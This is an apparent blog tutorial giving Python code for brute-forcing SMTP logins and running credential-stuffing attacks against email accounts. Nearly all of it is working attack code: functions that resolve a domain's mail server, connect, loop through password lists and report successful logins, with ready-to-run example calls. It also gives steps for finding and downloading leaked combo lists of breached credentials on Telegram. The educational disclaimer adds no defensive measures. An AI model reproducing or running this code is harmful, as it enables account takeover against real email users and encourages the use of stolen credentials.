SMTP Cracking and Credential Stuffing using Python

Greer Whitley - 04/05/2024

Introduction

In this article, we will explore the process of SMTP (Simple Mail Transfer Protocol) cracking and credential stuffing using Python. While these topics are often associated with malicious activities, it is essential to understand the techniques used by hackers to protect email servers and accounts better. This guide is intended for educational and ethical purposes only.

Prerequisites

• Basic understanding of Python programming

• Familiarity with SMTP and email protocols

• A responsible approach to ethical hacking

Step 1: Setting up the Environment

To get started, you'll need to install the required libraries. We will be using the "smtplib" library for SMTP communication, the "socket" library for handling network connections, and the "dns" library for resolving the SMTP server based on the hostname.

!pip install dnspython

import smtplib
import socket
import dns.resolver

Step 2: Finding the SMTP Server with Multiple Methods

Create a function to find the SMTP server based on the hostname (domain name) using multiple methods. This function takes the hostname as an input parameter and returns the SMTP server address.

def find_smtp_server(hostname):
    # Method 1: MX record lookup
    try:
        answers = dns.resolver.resolve(hostname, 'MX')
        mx_record = answers[0].exchange.to_text()
        return mx_record
    except Exception:
        pass

    # Method 2: A record lookup
    try:
        answers = dns.resolver.resolve(hostname, 'A')
        a_record = answers[0].to_text()
        return a_record
    except Exception:
        pass

    # Method 3: SRV record lookup
    try:
        answers = dns.resolver.resolve(f'_smtp._tcp.{hostname}', 'SRV')
        srv_record = answers[0].target.to_text()
        return srv_record
    except Exception:
        pass

    print("Error: Failed to find SMTP server.")
    return None

Step 3: Establishing an SMTP Connection

Next, we will create a function to establish a connection with the target SMTP server. This function takes the server address and port number as input parameters.

def establish_connection(server, port):
    try:
        connection = smtplib.SMTP(server, port)
        return connection
    except Exception as e:
        print(f"Error: {e}")
        return None

Step 4: Implementing the Brute Force Attack

Now, we will create a function to perform a brute force attack on the target SMTP server. This function takes the connection object, email address, and a list of potential passwords as input parameters.

def brute_force_attack(connection, email, passwords):
    for password in passwords:
        try:
            connection.login(email, password)
            print(f"Success! Password: {password}")
            return
        except smtplib.SMTPAuthenticationError:
            continue
    print("Failed to find the correct password.")

Step 5: Executing the Brute Force Attack

Finally, we will execute the brute force attack by calling the established functions and providing the necessary input parameters.

hostname = "example.com"
port = 587
email = "target@example.com"
passwords = ["password1", "password2", "password3"]

smtp_server = find_smtp_server(hostname)
if smtp_server:
    connection = establish_connection(smtp_server, port)
    if connection:
        brute_force_attack(connection, email, passwords)
        connection.quit()

Step 6: Implementing the Credential Stuffing Attack

Now, we will create a function to perform a credential stuffing attack on the target SMTP server. This function takes the connection object, a list of email addresses, and a list of corresponding passwords as input parameters.

def credential_stuffing(connection, emails, passwords):
    for email, password in zip(emails, passwords):
        try:
            connection.login(email, password)
            print(f"Success! Email: {email}, Password: {password}")
        except smtplib.SMTPAuthenticationError:
            continue
    print("Failed to find valid credentials.")

Step 7: Executing the Credential Stuffing Attack

Finally, we will execute the credential stuffing attack by calling the established functions and providing the necessary input parameters.

hostname = "example.com"
port = 587
emails = ["target1@example.com", "target2@example.com"]
passwords = ["password1", "password2", "password3"]

smtp_server = find_smtp_server(hostname)
if smtp_server:
    connection = establish_connection(smtp_server, port)
    if connection:
        credential_stuffing(connection, emails, passwords)
        connection.quit()

Finding Combo Lists on Telegram

Combo lists are collections of email addresses and their corresponding passwords, often leaked from data breaches. They can be used for credential stuffing attacks. To find combo lists on Telegram, follow these steps:

1. Install the Telegram app on your device.

2. Create a Telegram account if you don't already have one.

3. Search for channels or groups related to combo lists, leaked data, or cybersecurity.

4. Join the channels or groups and look for messages containing combo list files or links to download them.

5. Download the combo lists at your own risk, as they may contain sensitive information and could be illegal to possess in some jurisdictions.

Conclusion

In this article, we've demonstrated how to perform an SMTP cracking attack and a credential stuffing attack using Python, including a robust function to find the SMTP server based on the hostname using multiple methods. While these techniques can be used for malicious purposes, understanding them is crucial for improving email server security and protecting user accounts. Always use this knowledge responsibly and ethically, and ensure you have proper authorization before testing any systems.

Disclaimer

This article is intended for educational purposes only. The author and Hashnode are not responsible for any misuse of the information provided. Always respect the law and privacy of others.